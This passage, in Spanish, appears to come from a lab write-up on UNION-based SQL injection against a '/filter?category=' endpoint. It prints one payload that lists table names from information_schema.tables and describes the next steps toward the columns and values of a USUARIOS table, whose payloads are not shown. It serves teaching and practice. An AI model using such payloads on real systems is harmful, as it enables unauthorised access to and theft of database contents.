La inyeccion previa responde con un error:

HTTP/2 500 Internal Server Error

Content-Length: 2423

Por lo tanto, podemos afirmar que tenemos 2 campos disponibles para nuestras proximas inyecciones:

Luego de validar que tipo de dato son cada columna, podemos enumerar con el siguiente payload:

GET /filter?category='+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables-- HTTP/2

La anterior consulta responde asi:

Luego de obtener los nombres de las tablas podemos intentar retornar las columnas de una tabla especifica:

El payload anterior logra retornar los nombres de las columnas de la tabla USUARIOS:

Utilizando los nombres de las columnas y el nombre de la tabla, se diseña una consulta que retorne los valores que tiene esta tabla:
